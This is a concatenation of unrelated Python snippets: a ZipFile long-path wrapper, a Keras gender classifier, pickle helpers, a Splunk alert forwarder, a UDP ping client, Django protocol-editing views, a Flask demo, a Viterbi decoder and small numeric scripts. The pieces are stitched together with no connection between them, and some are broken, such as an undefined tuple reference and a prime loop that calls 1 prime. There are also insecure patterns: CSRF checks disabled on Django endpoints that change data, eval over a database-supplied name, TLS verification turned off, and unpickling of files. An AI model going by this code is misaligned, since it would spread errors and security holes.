#nombre_tupla[indice]

contenidoIndiceCero = miTupla[0]
print(contenidoIndiceCero)


"""Extends standard ZipFile class to support extracting to paths > 260 chars on Windows"""
import os
import zipfile

class ZipFile(zipfile.ZipFile):
    """Simple class that wraps the standard ZipFile class to enable file paths > 260 on windows"""
    def _extract_member(self, member, targetpath, pwd):
        targetpath = targetpath if os.name != 'nt' else winapi_path(targetpath)
        return zipfile.ZipFile._extract_member(self, member, targetpath, pwd)

def winapi_path(dos_path, encoding=None):
    path = os.path.abspath(dos_path)

    if path.startswith("\\\\"):
        path = "\\\\?\\UNC\\" + path[2:]
    else:
        path = "\\\\?\\" + path

    return path


import pytest

@pytest.fixture
def employee_detail( ):
    Id = [3, 13, 23, 33]
    name = {"Iqra":1400, "Misha":1100, "Firdous":1200, "Mujtaba":1000}
    des = {"Manager":50000, "Accounts Head":45000, "Executive Assistant":40000}
    return Id, name, des


import tensorflow as tf
import numpy as np
from keras.preprocessing import image
import matplotlib.pyplot as plt
model = tf.keras.models.load_model('gender_classify.h5') #Create the model that we have trained

def load_preprocess_image(path):
    """
    :param path: Path to the image that we will test
    :return: Return proccesd image and original image
    """
    img_org = image.load_img(path,target_size=(64,64)) #Load the image
    img = image.img_to_array(img_org) #Convert image into array
    img = np.expand_dims(img,axis=0) #Expand it dimension to (1,64,64,3) from (64,64,3)
    print(img.shape)
    return img,img_org

def predict_image(path):
    """
    :param path:
    Predict the preproccesd image and plot the original image.
    """
    image,org = load_preprocess_image(path) #Preproccess the image to fit it into our model
    image = np.vstack([image])
    class_of_image = model.predict(image, batch_size=1) #Predict the loadded image
    print(class_of_image[0])
    if class_of_image[0] > 0.5:
        gender = "Male"
    else:
        gender = "Female"
    plt.imshow(org)
    plt.xlabel("Model predict this image as [" + gender + "] with accuracy : " + str(class_of_image[0]))
    plt.show()
path = "./cursed.png" #This can be changed.
predict_image(path)


'''
Miscellaneous
=============
'''

import pickle
import copy_reg
import array

def array_unpickler(data):
  return array.array(data[0], data[1:])
def array_pickler(arr):
    return array_unpickler, ("%s%s" % (arr.typecode, arr.tostring()),)
copy_reg.pickle(array.ArrayType, array_pickler, array_unpickler)

def load(name):
  '''
  Loads back a pickled object.

  :param name: file name or path to file.
  :type name: string
  :rtype: unpickled object

  .. note:: This function allows clean array unpickling whereas standard ``pickle.load`` will raise an error if ``array.array`` are in the pickled object (which is the case of all objects in Abapy).
  '''
  f = open(name, 'rb')
  out = pickle.load(f)
  f.close()
  return out

def dump(data,name,protocol = 2):
  '''
  Dumps an object to file using ``pickle``.

  :param data: object to dump.
  :type data: any
  :param name: file name or path to file.
  :type name: string

  .. note:: This function allows clean array pickling whereas standard ``pickle.dump`` will raise an error if ``array.array`` are in the pickled object (which is the case of all objects in Abapy).
  '''
  f = open(name,'wb')
  pickle.dump(data,f,protocol)
  f.close()

def read_file(path, ncol = 2, separator = None):
  """
  Read a tabular data file and returns a `numpy.array` containing the data. Header lines must begin with a #.
  """
  import numpy as np
  lines = open(path, "rb").readlines()
  out = []
  for line in lines:
    if line[0] != "#":
      ldata = []
      words = line.split()
      for i in xrange(ncol):
        ldata.append(float(words[i]))
      out.append(ldata)
  return np.array(out).transpose()


"""Test models."""
from pathlib import Path

import hcl  # type: ignore[import]

from boostsec.terraform_manager.models import (
    Tfvars,
)

def test_load_tfvars() -> None:
    """Test loading tfvars file."""
    tfvars_hcl = hcl.loads(
        (Path(__file__).parent.parent / "data/auth0.tfvars").read_text()
    )
    variables = Tfvars.parse_raw(hcl.dumps(tfvars_hcl))
    assert len(variables.organizations) > 10


import os, datetime, sys, requests, json, re

def eprint(msg):
    message = str(datetime.datetime.now().isoformat()) + " " + str(msg)
    filehandle = open("/Applications/Splunk/var/log/splunk/apprise.log", "a")
    filehandle.write(message + '\n')
    filehandle.close()

# For testing only...
# alert = {
#     "configuration" : {
#             "ssl_verify" : "false",
#             "url" : "http://nas-01.prjx.uk:8009/notify",
#              "key" : "telegram01",
#              "json" : '{"body":"test message"}',
#     }
# }

def is_json(myjson):
  try:
    json_object = json.loads(myjson)
  except ValueError as e:
    return False
  return True

def validate(config):
    required_fields = ["url", "key", "json"]
    for key,value in config.items():
        eprint(key + " " + value)
    for field in required_fields:
        if field not in config:
            eprint("Error no "+field+" value specified")
            return False

    if "ssl_verify" in config:
        if config['ssl_verify'].upper() in ["TRUE"]:
            config["ssl_verify"] = True
        else:
            config["ssl_verify"] = False
    else:
        config["ssl_verify"] = False

    if not is_json(config["json"]):
        eprint("Error the json field is invalid")
        return False

    return True

eprint("Running...")
#if len(sys.argv) > 1 and sys.argv[1] == "--execute":
eprint(sys.stdin)
alert = json.load(sys.stdin)
if validate(alert['configuration']):
    config = alert['configuration']
    ## Headers
    headers = {'Content-Type': 'application/json'}

    ## URL generation
    url = config['url']
    if url[-1] != "/":
        url = url + "/"
    url += config["key"]
    eprint("Sending too: " + url)
    ## Send ...
    r = requests.post(url, headers=headers, data=config["json"], verify=False)
    if r.status_code == 200:
        eprint("HTTP Code 200: Success sending message")
    else:
        eprint("Error HTTP Code " + str(r.status_code) + ": " + r.text)
else:
    eprint("Error Invalid configuration detected. Stopped.")
#else:
#    eprint("FATAL No execute flag given")


from socket import *
import time

serverName = 'localhost'
serverPort = 12000
serverAddress = (serverName, serverPort)
pingSocket = socket(AF_INET, SOCK_DGRAM)
pingSocket.settimeout(1)

def ping(pingSocket, serverAddress):
    t1 = int(round(time.time() * 1000))
    pingSocket.sendto('ping'.encode(), serverAddress)   # sending the ping message
    try:
        serverMessage, add = pingSocket.recvfrom(1024)
        t2 = int(round(time.time() * 1000))
        print("RTT = " + str(t2 - t1))
    except:     # if no packet received after 1 sec, pingSocket throws exception and program will announce time out
        print('timeout')

    print('---------------------------------')

for i in range(10):
    ping(pingSocket, serverAddress)


x= int(input("Please enter number for upper range"))
print("You entered" +" " + str(x))
i=1
print(f"{i} is a prime number!")

while i<=x:
	j=2
	while j<i:
		if i%j ==0:
			break

		else:
			j += 1
			continue
	if i==j:
		print(str(i) + " is a prime number!")

	i += 1


# Create your views here.

from decimal import Decimal
import json

from django.http import HttpResponse
from django.template import RequestContext, loader
from django.shortcuts import render
from django.utils import simplejson
from django.core import serializers
from django.views.decorators.csrf import csrf_exempt
from django.core.exceptions import ObjectDoesNotExist
from django.db.models import Sum

import models
from decadence import json_encode_decimal
from perform.helpers import cereal, import_mod_file, Medea

# from perform.helpers import cereal

def index(request):
	content = {'default_duration':10.0}
	return render(request,'edit.html',content)

def get_protocol(request,protocol_id):
	pid = int(protocol_id)
	protocol = models.Protocol.objects.get(id=pid)
	ps = cereal(protocol)
	context = request.GET.get('context',None)
	if context=='graph':
		actions = models.Action.objects.filter(paradigm_id__exact=protocol.paradigm).values('type','color')
		alist = list(actions)
		astr = simplejson.dumps(alist)
		events = models.Event.objects.filter(protocol_id__exact=pid).values('name','color')
		elist = list(events)
		estr = simplejson.dumps(elist)
		intervals = models.Interval.objects.filter(protocol_id__exact=pid).order_by('order').values('name','duration','color')
		ilist = list(intervals)
		istr = simplejson.dumps(ilist,default=json_encode_decimal)
		result_str = '{"protocol":'+ps+',"actions":'+astr+',"events":'+estr+',"intervals":'+istr+'}'
		return HttpResponse(result_str, content_type="application/json")
	else:
		return HttpResponse(ps, content_type="application/json")

def actions_list(request,paradigm_id):
	pid = int(paradigm_id)
	context = request.GET.get('context',None)
	if context=='graph':
		actions = models.Action.objects.filter(paradigm_id__exact=pid).values('type','color')
		alist = list(actions)
		s = simplejson.dumps(alist)
		return HttpResponse(s, content_type="application/json")
	else:
		actions = models.Action.objects.filter(paradigm_id__exact=pid)
		s = serializers.serialize("json", actions)
		return HttpResponse(s, content_type="application/json")

def events_list(request,protocol_id):
	pid = int(protocol_id)
	context = request.GET.get('context',None)
	if context=='graph':
		events = models.Event.objects.filter(protocol_id__exact=pid).values('name','color')
		elist = list(events)
		s = simplejson.dumps(elist)
		return HttpResponse(s, content_type="application/json")
	else:
		events = models.Event.objects.filter(protocol_id__exact=pid)
		s = serializers.serialize("json", events)
		return HttpResponse(s, content_type="application/json")

def intervals_list(request,protocol_id):
	pid = int(protocol_id)
	context = request.GET.get('context',None)
	if context=='graph':
		intervals = models.Interval.objects.filter(protocol_id__exact=pid).order_by('order').values('name','duration','color')
		ilist = list(intervals)
		s = simplejson.dumps(ilist,default=json_encode_decimal)
		return HttpResponse(s, content_type="application/json")
	else:
		intervals = models.Interval.objects.filter(protocol_id__exact=pid).order_by('order')
		s = serializers.serialize("json", intervals)
		return HttpResponse(s, content_type="application/json")

def intervals_listview(request,protocol_id):
	pid = int(protocol_id)
	protocol = models.Protocol.objects.get(id=pid)
	intervals = protocol.intervals()
	content = {'intervals':intervals}
	return render(request,'intervals.html',content)

@csrf_exempt
def make_protocol(request,paradigm_id):
	pid = int(paradigm_id)
	paradigm = models.Paradigm.objects.get(id=pid)

	duration = request.POST.get('duration',10)
	name = request.POST.get('name',paradigm.name)
	duration = Decimal(duration)

	paradigm_mod = import_mod_file(paradigm.file_location)
	paradigm_obj = eval('paradigm_mod.'+paradigm.name+'()')
	content = paradigm_obj.json()

	protocol = models.Protocol(paradigm=paradigm, name=name, trial_duration=duration)
	protocol.save()
	content['protocol_id'] = protocol.pk

	s = simplejson.dumps(content)
	return HttpResponse(s,content_type="application/json")

@csrf_exempt
def set_trial_duration(request,protocol_id):
	m = Medea()
	pid = int(protocol_id)
	duration = request.POST.get('duration',None)
	if duration==None:
		m.addError('Trial duration not defined')
		return HttpResponse(m.serialize(),content_type="application/json")
	duration = Decimal(duration)
	try:
		protocol = models.Protocol.objects.get(id=pid)
		protocol.trial_duration = duration
		protocol.save()
		return HttpResponse(m.serialize(),content_type="application/json")
	except ObjectDoesNotExist:
		m.addError('Protocol ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")

@csrf_exempt
def new_interval(request,protocol_id):
	m = Medea()
	pid = int(protocol_id)
	protocol = None
	try:
		protocol = models.Protocol.objects.get(id=pid)
	except ObjectDoesNotExist:
		m.addError('Protocol ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")
	itype = request.POST.get('type',None)
	if itype==None:
		m.addError('Interval type must be specified')
		return HttpResponse(m.serialize(),content_type="application/json")
	iname = request.POST.get('name',itype);
	iduration = request.POST.get('duration','0.0')
	iduration = Decimal(iduration)
	icolor = request.POST.get('color','000000')
	if len(icolor)==7:
		icolor = icolor[1:]
	iprops = request.POST.get('props',None)
	iprops = json.loads(iprops)

	iorder = models.Interval.objects.filter(protocol=protocol).count() + 1

	interval = models.Interval(protocol=protocol,order=iorder,type=itype,duration=iduration,name=iname,color=icolor)
	interval.save()

	names_id_map = {}
	for i in range(0,len(iprops)):
		p = iprops[i]
		prop = models.AIEProperty(prop_type=p['type'],prop_name=p['name'])
		prop.set(p['value'])
		prop.save()
		interval.props.add(prop)
		names_id_map[prop.prop_name] = prop.pk

	m.addContent('interval_id', interval.pk)
	m.addContent('prop_ids',names_id_map)
	return HttpResponse(m.serialize(),content_type="application/json")

@csrf_exempt
def edit_interval(request,interval_id):
	m = Medea()
	iid = int(interval_id)
	interval = None
	try:
		interval = models.Interval.objects.get(id=iid)
	except ObjectDoesNotExist:
		m.addError('Interval ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")

	iname = request.POST.get('name',None)
	if iname!=None:
		interval.name = iname

	iduration = request.POST.get('duration',None)
	if iduration!=None:
		interval.duration = Decimal(iduration)

	icolor = request.POST.get('color',None)
	if icolor!=None:
		if len(icolor)==7:
			icolor = icolor[1:]
		interval.color = icolor

	interval.save()

	iprops = request.POST.get('props',[])
	iprops = json.loads(iprops)

	for i in range(0,len(iprops)):
		p = iprops[i]
		prop = models.AIEProperty.objects.get(id=p['id'])
		prop.set(p['value'])
		prop.save()

	# calculate offsets
	pps = request.POST.get('pps',1.0)
	pps = Decimal(pps)
	sumresult = models.Interval.objects.filter(protocol_id__exact=interval.protocol.pk, order__lte=interval.order).aggregate(Sum('duration'))
	sofar = sumresult['duration__sum']
	sofar = sofar*pps
	ivals_after = models.Interval.objects.filter(protocol_id__exact=interval.protocol.pk, order__gt=interval.order)
	offsetMap = {}
	for poi in ivals_after:
		offsetMap['rect'+str(poi.pk)] = str(sofar)
		sofar = sofar + (poi.duration*pps)

	m.addContent('graphOffsets',offsetMap)
	return HttpResponse(m.serialize(),content_type="application/json")

def delete_interval(request,interval_id):
	m = Medea()
	iid = int(interval_id)
	interval = None
	try:
		interval = models.Interval.objects.get(id=iid)
	except ObjectDoesNotExist:
		m.addError('Interval ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")

	# TODO: disassocate actions

	pps = request.GET.get('pps',1.0)
	pps = Decimal(pps)
	sumresult = models.Interval.objects.filter(protocol_id__exact=interval.protocol.pk, order__lt=interval.order).aggregate(Sum('duration'))
	sofar = sumresult['duration__sum']
	if sofar==None:
		sofar = Decimal('0.0')
	sofar = sofar*pps
	ivals_after = models.Interval.objects.filter(protocol_id__exact=interval.protocol.pk, order__gt=interval.order)
	offsetMap = {}
	for poi in ivals_after:
		offsetMap['rect'+str(poi.pk)] = str(sofar)
		sofar = sofar + (poi.duration*pps)
		poi.order = poi.order - 1
		poi.save()
	m.addContent('graphOffsets',offsetMap)

	interval.delete()

	return HttpResponse(m.serialize(),content_type="application/json")

@csrf_exempt
def new_event(request,protocol_id):
	m = Medea()
	pid = int(protocol_id)
	protocol = None
	try:
		protocol = models.Protocol.objects.get(id=pid)
	except ObjectDoesNotExist:
		m.addError('Protocol ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")
	etype = request.POST.get('type',None)
	if etype==None:
		m.addError('Event type must be specified')
		return HttpResponse(m.serialize(),content_type="application/json")
	ename = request.POST.get('name',etype);
	color = request.POST.get('color','000000')
	if len(color)==7:
		color = color[1:]
	props = request.POST.get('props',None)
	props = json.loads(props)

	event = models.Event(protocol=protocol,type=etype, name=ename, color=color)
	event.save()

	names_id_map = {}
	for i in range(0,len(props)):
		p = props[i]
		prop = models.AIEProperty(prop_type=p['type'],prop_name=p['name'])
		prop.set(p['value'])
		prop.save()
		event.props.add(prop)
		names_id_map[prop.prop_name] = prop.pk

	m.addContent('event_id', event.pk)
	m.addContent('prop_ids',names_id_map)
	return HttpResponse(m.serialize(),content_type="application/json")

@csrf_exempt
def edit_event(request,event_id):
	m = Medea()
	eid = int(event_id)
	event = None
	try:
		event = models.Event.objects.get(id=eid)
	except ObjectDoesNotExist:
		m.addError('Event ID not found')
		return HttpResponse(m.serialize(),content_type="application/json")

	name = request.POST.get('name',None)
	if name!=None:
		event.name = name

	color = request.POST.get('color',None)
	if color!=None:
		if len(color)==7:
			color = color[1:]
		event.color = color

	event.save()

	props = request.POST.get('props',[])
	props = json.loads(props)

	for i in range(0,len(props)):
		p = props[i]
		prop = models.AIEProperty.objects.get(id=p['id'])
		prop.set(p['value'])
		prop.save()

	return HttpResponse(m.serialize(),content_type="application/json")


from flask import Flask, render_template

app=Flask(__name__)    # Bir flask uygulaması tanımladık
#Eğer Bu dosya terminalden çalıştırılırsa name in değeri __main__ oluyor
#başka bir yerden çalıştırılırsa __name__ değeri main olmuyor
@app.route("/") # bu dekoratör çağırıldığında hemen aldındaki fonksiyonu çağırıyor..
def index():         # Bu fonksiyonda alttaki yazıyı döndürüyor.
    sayi1=10
    sayi2=255
    return render_template("index.html",number1=sayi1, number2=sayi2 ) #Burada index html dosyasına bir number anahtarı yolluyoruz bunu index html sayfasında kullanabiliriz
@app.route("/about")# bu dekoratör çağırıldığında hemen aldındaki fonksiyonu çağırıyor..
def about():
    return render_template("about.html") #render template komutu sayesinde html sayfaları çevirebiliyoruz.
if __name__=="__main__":
    app.run(debug=True)


import numpy as np

def v_fViterbi(predicted_proba, const_size, memory_length):
    """
    Apply Viterbi detection from computed priors

    Syntax
    -------------------------------------------------------
    viterbi_output = v_fViterbi(m_fPriors, s_nConst, s_nMemSize)

    INPUT:
    -------------------------------------------------------
    predicted_proba - evaluated likelihoods for each state at each time instance
    const_size - constellation size
    memory_length - channel memory length

    OUTPUT:
    -------------------------------------------------------
    viterbi_output - recovered symbols vector
    """

    data_size = len(predicted_proba)
    num_states = pow(const_size, memory_length)

    # Generate trellis matrix (16x2)
    trellis_matrix = np.zeros((num_states, const_size))
    for state in range(0, num_states):
        index = np.mod(state, pow(const_size, (memory_length - 1)))
        for trans in range(0, const_size):
            trellis_matrix[state, trans] = const_size * index + trans

    #### Resulting trellis matrix
    # [0][0] = 0.0
    # [0][1] = 1.0
    # [1][0] = 2.0
    # [1][1] = 3.0
    #     ...
    # [14][0] = 12.0
    # [14][1] = 13.0
    # [15][0] = 14.0
    # [15][1] = 15.0

    # Start Viterbi

    ## matrix of 50000x16 containing likelihoods of each state
    log_priors = -1 * np.log(predicted_proba)

    states = np.zeros((num_states, 1))
    viterbi_output = np.zeros((1, data_size))

    for data_index in range(0, data_size):
        next_state = np.zeros((num_states, 1))
        for state in range(0, num_states):
            # temp 2x1 matrix to compare values from two states of a trellis matrix i.e [0][0] vs [0][1]
            temp = np.zeros((const_size, 1))
            for trans in range(0, const_size):
                # add the values from the trellis matrix and values from the likelihood matrix
                temp[trans] = states[(int(trellis_matrix[state, trans]))] + log_priors[data_index, state]
            # store the min value of the 2x1 temp matrix into the next_state matrix
            next_state[state] = np.min(temp)
        states = next_state
        # find the index that has the min value
        I = np.argmin(states)
        # return index of first symbol in current state
        viterbi_output[0, data_index] = np.mod(I, const_size) + 1

    return viterbi_output


import numpy as np
from numpy import linalg
import matplotlib.pyplot as plt
import math

def is_prime(n):
    if n % 2 == 0 and n > 2:
        return False
    return all(n % i for i in range(3, int(math.sqrt(n)) + 1, 2))

p1 = list(filter(is_prime, range(1, 1001)))
p2 = list(filter(is_prime, range(3000, 4001)))
p3 = list(filter(is_prime, range(6000, 7001)))

c1 = np.array([
    p1, p1, p1
]).transpose()

c2 = np.array([
    p2, p2, p2
]).transpose()

c3 = np.array([
    p3, p3, p3
]).transpose()

m1 = c1.mean(0)
m2 = c2.mean(0)
m3 = c3.mean(0)

v = [311, 311, 311]

for n in v:
    if not is_prime(n):
        print('El vector no es primo')
        exit()

d1 = linalg.norm(m1 - v)
d2 = linalg.norm(m2 - v)
d3 = linalg.norm(m3 - v)

distances = [d1, d2, d3]

result = f'Vector belongs to class{distances.index(min(distances)) + 1}'

figure = plt.figure(figsize=(4, 4), dpi=100)
ax = figure.add_subplot(111)
ax.annotate(result, xy=[v[0], v[1]])
ax.annotate('media 1', xy=[m1[0], m1[1]])
ax.annotate('media 2', xy=[m2[0], m2[1]])
ax.annotate('media 3', xy=[m3[0], m3[1]])
ax.scatter(c1[:, 0], c1[:, 1], label=f'Class 1 dist: {d1}')
ax.scatter(c2[:, 0], c2[:, 1], label=f'Class 2 dist: {d2}')
ax.scatter(c3[:, 0], c3[:, 1], label=f'Class 3 dist: {d3}')
ax.scatter(m1[0], m1[1])
ax.scatter(m2[0], m2[1])
ax.scatter(m3[0], m3[1])
ax.scatter(v[0], v[1], label='vector')
ax.legend()
ax.grid(True)
ax.axhline(linewidth=2.0, color="black", label='x')
ax.axvline(linewidth=2.0, color="black", label='y')
ax.set_xlabel('x1')
ax.set_ylabel('x2')
plt.show()